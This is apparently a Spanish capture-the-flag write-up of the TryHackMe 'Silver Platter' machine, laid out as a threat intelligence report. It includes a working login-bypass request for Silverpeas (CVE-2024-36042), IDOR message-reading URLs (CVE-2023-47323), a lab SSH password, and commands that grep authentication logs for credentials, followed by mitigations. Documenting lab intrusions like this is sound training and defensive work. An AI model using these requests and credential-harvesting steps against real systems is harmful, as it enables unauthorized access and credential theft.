Informe de Inteligencia de Amenazas

Máquina *“Silver Platter”*

Plataforma: *“TryHackMe (THM)”*

TLP:AMBER | Ref: CTI-2026-0831-THM

Fecha de publicación: 31 de Agosto de 2026

Autor: Pedro Parmentier

Aspectos a destacar en el Informe:

1. Resumen ejecutivo:
    1.1. Propósito
    1.2. Impacto Principal.
    1.3. Vector de Entrada.
    1.4. Escalada de Privilegios.
    1.5. Resumen.
2. Metadatos y evaluación de confianza
    2.1. Nivel de Confianza (Confidence Level).
    2.2. Mapeo de Clasificación.
    2.3. Estatus de la amenaza.
3. Perfil del Actor de amenaza / Entorno Objetivo
    3.1. Nombre de la amenaza / Host:
    3.2. Dirección IP / Alcance.
    3.3. Sistema operativo.
    3.4. Objetivo Comercial/Función.
4. Fase de Reconocimiento y Recolección (Reconnaissance & Enumeration).
    4.1. Escaneo de Red y Servicios Expuestos.
    4.2. Hallazgos de Enumeración Web.
5. Cadena de Ataque (Kill Chain & Technical Analysis).
    5.1. Acceso Inicial (Initial Access).
        5.1.1. Táctica MITRE ATT&CK.
        5.1.2. Vulnerabilidad Explotada.
        5.1.3. Descripción del Exploit.
        5.1.4. Prueba de Concepto (*PoC*).
    5.2. Puntación y Métrica CVSS v3.1.
        5.2.1. Puntuación Base.
        5.2.2. Vector CVSS.
    5.3. Establecimiento de Persistencia y Movimiento Lateral.
        5.3.1. Tática MITRE ATT&CK.

        5.3.2. Descripción.
        5.3.3. Payload Utilizado.
    5.4. Escalada de Privilegios.
        5.4.1. Táctica MITRE ATT&CK.
        5.4.2. Vector de Escalada.
        5.4.3. Comando de Detección.
        5.4.4. Explotación.
6. Indicadores de Compromiso (IoCs).
    6.1. Indicadores de Red (Networks IoCs).
        6.1.1. IPs Maliciosas Relacionadas.
        6.1.2. URLs Afectadas.
        6.1.3. User-Agents inusuales.
    6.2. Indicadores en Host (Host-Based IoCs)
        6.2.1. Rutas de Archivos Creados/Modificados.
        6.2.2. Nuevos Procesos Anómalos.
7. Mapeo de Tácticas y Técnicas (MITRE ATT&CK)
8. Recomendaciones y Mitigaciones (Actionable Intelligence)
    8.1. Mitigaciones Inmediatas (Tácticas).
    8.2. Mitigaciones a Largo Plazo (Estratégicas).

1. RESUMEN EJECUTIVO (Executive Summary)

- **Propósito**: Proporcionar una visión técnica y operativa sobre la instrusión realizada contra el objetivo en el entorno controlado, detallando las vulnerabilidades explotadas, la escalada de privilegios y las medidas para mitigar los riesgos.
- **Impacto Principal**: Exposición parcial de la infraestructura crítica mediante la combinación de vulnerabilidades conocidas en servicios web expuestos y desconfiguraciones a nivel de sistema operativo.
- **Vector de Entrada**: Manipulación de Parámetros (*Parameter Tampering*) a través de la eliminación del parámetro `Password` en la ruta `http://silverplatter:8080/silverpeas/AuthenticationServlet` en el formulario de ingreso de usuarios.
- **Escalada de Privilegios**: Obtención de acceso como `root` mediante el reuso de credenciales expuestas en el sistema y permisos de `sudo` sin restricciones (`ALL`).
- **Resumen**: Se explotó una vulnerabilidad de *Parameter Tampering* en el servicio web para acceder al usuario `scr1ptkiddy` y posteriormente explotar un *IDOR* conocido en el sistema de mensajería interna y extraer credenciales `SSH` del usuario `tim`. Una vez en el sistema, la inspección de `/var/log/auth.log.1` reveló la contraseña del usuario `tyler`, permitiendo un movimiento lateral. Finalmente, se escalaron privilegios a `root` aprovechando que `tyler` contaba con permisos totales sin restricciones en el archivo sudoers (`(ALL : ALL) ALL`).

2. METADATOS Y EVALUACIÓN DE CONFIANZA

- **Nivel de Confianza (Confidence Level)**: Alto (Basado en pruebas directas en entorno controlado / THM).
- **Mapeo de Clasificación (Admiralty System)**: A1 (Fuente totalmente confiable / Información confirmada).
- **Estatus de la Amenaza**: Inactiva / Contenida en laboratorio.

3. PERFIL DEL ACTOR DE AMENAZA / ENTORNO OBJETIVO

- **Nombre de la Amenaza / Host**: TryHackMe - Silver Platter
- **Dirección IP / Alcance**: 10.114.162.145
- **Sistema Operativo**: Linux Ubuntu 22.04.3 LTS (Jammy Jellyfish)
- **Objetivo Comercial/Función**: Servidor web de producción simulado.

4. FASE DE RECONOCIMIENTO Y RECOLECCIÓN (Reconnaissance & Enumeration)

4.1. Escaneo de Red y Servicios Expuestos

Se ejecutó un escaneo completo de puertos mediante `Nmap` para determinar los servicios expuestos en la red:

```
nmap -p- --open -T5 -Pn -n -vvv 10.114.162.145 -oN target.log
```

```
nmap -p22,80,8080 -sV -sC -vvv 10.114.162.145 -oN openPorts.log
```

Puerto	Servicio	Versión	Estado
22/TCP	SSH	OpenSSH 8.9p1 Ubuntu 3ubuntu0.4	Abierto
80/TCP	HTTP	nginx 1.18.0	Abierto
8080/TCP	HTTP-PROXY	DESCONOCIDO	Abierto

4.2. Hallazgos de Enumeración Web, Parámeter Tampering, IDOR

- **Parameter Tampering documentado**: Tras conocer, mediante información plasmada en el servicio web del puerto `80`, la existencia del portal de colaboración **Silverpeas v6.3.1** corriendo por el puerto `8080`, se encontraron vulnerabilidades conocidas (**CVE-2024-36042**) con respecto a este software para hacer *bypass* de usuarios mediante la eliminación del parámetro (query) `Password` en el formulario de acceso en la ruta logrando acceder con el usuario `scr1ptkiddy`:
  - `http://10.114.162.145:8080/silverpeas/defaultLogin.jsp` → (HTTP 200) - Parameter Tampering en el formulario.
- **IDOR (*en*: Insecure Direct Object Reference; *es*: Referencia Directa a Objetos Insegura) documentado**: Una vez se logró acceder con las credenciales del usuario `scr1ptkiddy`, se realizó una búsqueda exhaustiva sobre vulnerabilidades conocidas para el softare **Silverpeas** estando autenticado y se encontró el **CVE-2023-47323** el cual menciona una vulnerabilidad **IDOR** en la característica de mensajería/notificaciones que no aplica control de acceso al parámetro `?ID=X` (siendo `X` un número entero), permitiendo el acceso/lectura arbitrario(a) de los mensajes del usuario:
  - `http://10.114.162.145:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6` → (HTTP 200) IDOR en el servicio de mensajes/notificaciones.

5. CADENA DE ATAQUE (Kill Chain & Technical Analysis)

5.1. Acceso Inicial (Initial Access)

5.1.1. Parameter Tampering

- **Táctica MITRE ATT&CK**:
  - Parameter Tampering: Initial Access / Exploit Public-Facing Application (T1190)
- **Vulnerabilidad Explotada**:
  - **CVE-2024-36042**: Parameter Tampering
  - **CWE-288**: Authentication Bypass Using an Alternate Path or Channel
- **Prueba de Concepto (*PoC*)**:

Solicitud normal

```
POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.114.162.145:8080
# Otras cabeceras
Origin: https://10.114.162.145:8080
Content-Type: application/x-www-form-urlencoded

Login=scr1ptkiddy&Password=SilverAdmin&DomainId=0
```

Solicitud bajo Parameter Tampering

```
POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.114.162.145:8080
# Otras cabeceras
Origin: https://10.114.162.145:8080
Content-Type: application/x-www-form-urlencoded

Login=scr1ptkiddy&DomainId=0
```

5.1.2. IDOR

- **Táctica MITRE ATT&CK**: Credential Access / Unsecured Credentials: Chat Messages (T1552.008)
- **Vulnerabilidad Explotada**:
  - **CVE-2023-47323**: IDOR (Insecure Direct Object Reference)
- **Prueba de Concepto (*PoC*)**:

Valor inicial encontrado (1)

```
http://10.114.162.145:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1
```

Mensaje con información delicada - Credenciales del servicio SSH (6)

```
http://10.114.162.145:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6
```

5.2. Puntuación y Métrica CVSS v3.1

- **Puntuación Base**: 6.5 (Medio)
- **Vector CVSS**: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`

5.3. Acceso Inicial y Movimiento Lateral

5.3.1. Acceso Inicial:

- **Descripción**: Mediante las credenciales SSH (`tim: cm0nt!md0ntf0rg3tth!spa$ $w0rdagainlol`) obtenidas a través del hallazgo IDOR en el servicio web, se procedió al acceso inicial directo en el sistema operativo a través del servicio `SSH` (puerto `22`).
- **Payload Utilizado**:

```
ssh tim@10.114.162.145
```

- **Nota de Persistencia**: Durante esta fase no se requirió la implementación de mecanismos/exploits de persistencia adicionales (como creación de puertas traseras - *backdoors*, o modificación de `authorized_keys`) ya que las credenciales obtenidas garantizaron acceso directo al entorno del usuario `tim`.

5.3.2. Movimiento Lateral:

- **Descripción**: Durante la fase de enumeración local, tras obtener acceso con el usuario `tim`, se hizo una primera enumeración que consistió en enumerar los usuarios mediante la lectura del archivo `/etc/passwd`, dislumbrando un segundo usuario llamado `tyler`, posteriormente se enumeraron los archivos relacionados al grupo `adm` (grupo encontrado y al que pertenecía el usuario `tim`) y se encontraron registros de autenticación en la ruta `/var/log` la cual contenía el archivo `auth.log.2`. La lectura de este archivo reveló la presencia de credenciales en texto claro pertenecientes al usuario `tyler`, expuestas mediante la ejecución del comando `docker` para montar la imagen correspondiente del portal **Silverpeas**.
- **Payload Utilizado**:

Enumeración de usuarios del sistema

```
cat /etc/passwd | grep -i bash
```

Enumeración de archivos para grupo `adm`

```
find / -group "adm" -type f 2>/dev/null
```

Lectura de credenciales:

```
cat /var/log/auth.log* | grep -iE "tyler|root"
```

- **Táctica MITRE ATT&CK**: Credential Access / Unsecured Credentials: Credentials In Files (T1552.001)

5.4. Escalada de Privilegios (Privilege Escalation)

- **Táctica MITRE ATT&CK**: Privilege Escalation / Abuse Elevation Control Mechanism: Sudo and Sudo Caching (T1548.003)
- **Vector de Escalada**: Excesos de privilegios asignados al usuario `tyler` en el archivo de configuración `sudoers`. El usuario contaba con la directiva `(ALL: ALL) ALL` permitiendo la ejecución de cualquier comando con privilegios de super usuario (`root`) sin restricciones ni requerimientos.
- **Comando de Detección**:

```
sudo -l
```

6. INDICADORES DE COMPROMISO (IoCs)

6.1. Indicadores de Red (Network IoCs)

- **IPs Maliciosas Relacionadas**: 192.168.128.68 (IP de la máquina atacante en la VPN)
- **URLs Afectadas**:
  - `http://10.114.162.145:8080/silverpeas/defaultLogin.jsp`
  - `http://10.114.162.145:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6` (Autenticado como usuario `scr1ptkiddy`)
- **Payload Inusual**: `Login=scr1ptkiddy&DomainId=0`

6.2. Indicadores en Host (Host-Based IoCs)

- **Rutas de Archivos Sensibles/Accesibles**:
  - `/var/log/auth.log.2`
- **Nuevos Procesos Anómalos**: Spawn de procesos shell (`/bin/bash`) con privilegios `UID 0` (`root`) generados mediante la invocación de `sudo` desde la terminal interactiva del usuario `tyler`

7. MAPEO DE TÁCTICAS Y TÉCNICAS (MITRE ATT&CK)

Fase de la Cadena	ID Técnica	Nombre de la Técnica
Reconnaissance	T1595.002	Active Scanning: Vulnerability Scanning
Reconnaissance	T1592.002	Gather Victim Host Information: Software
Initial Access	T1190	Exploit Public-Facing Application
Credential Access	T1552.008	Unsecured Credentials: Chat Messages
Credential Access	T1552.001	Unsecured Credentials: Credentials In Files
Privilege Escalation	T1548.003	Abuse Elevation Control Mechanism: Sudo and Sudo Caching

8. RECOMENDACIONES Y MITIGACIONES (Actionable Intelligence)

8.1. Mitigaciones Inmediatas (Tácticas)

1. **Parchado de Software**: Actualizar el servicio Silverpeas a la versión 6.3.5 (o superiores) para solventar las vulnerabilidades CVE-2024-36042 y CVE-2023-47323.
   - **CVE-2024-36042** (*Parameter Tampering*): Solucionada en la versión 6.3.5.
   - **CVE-2023-47323** (*IDOR*): Solucionada en la versión 6.3.2.
2. **Restricción de Privilegios `sudo`** : Revocar la directiva `(ALL: ALL) ALL` asignada al usuario `tyler` en el archivo `sudoers`. Aplicar el principio de menor privilegio (PoLP - *Principle of Least Privilege*) limitando los comandos ejecutables a los estrictamente necesarios y requiriendo siempre la re-autenticación por contraseña (`NOPASS` deshabilitado).
3. **Rotación y Gestión de Credenciales**: Rotar inmediatamente la contraseña del usuario `tyler` en el sistema operativo y la base de datos PostgreSQL. Erradicar la práctica de reutilización de contraseñas (*Password Reuse*) entre servicios y cuentas de usuario.
4. **Saneamiento de Registros**: Sanitizar los comandos de despliegue (ej. `docker run`) e integrar filtros en el dominio de registros para evitar la captura de contraseñas u otros datos sensibles en texto claro dentro de `/var/log/auth.log`.

8.2. Mitigaciones a Largo Plazo (Estratégicas)

1. **Integración de seguridad en el Ciclo de Desarrollo (DevSecOps)**: Implementar herramientas de Análisis Estático de Código de aplicaciones (SAST) y Pruebas de

Seguridad Dinámicas (DAST) en las canalizaciones CI/CD para identificar fallos de control de acceso (IDOR) y manipulación de parámetros de forma temprana.

- Posibles herramientas de SAST: Semgrep, SonarQube.
- Posibles herramientas de DAST: OWASP ZAP, Burp Suite Pro, StackHawk, Acunetix.

2. **Auditoría y Monitoreo continuo en Host**: Configurar políticas de auditoría a nivel de Kernel mediante `auditd` (`auditctl`) para supervisar la ejecución de comandos con privilegios elevados (`sudo`), la inspección de archivos en `/var/log` por usuarios no privilegiados y la creación de procesos anómalos.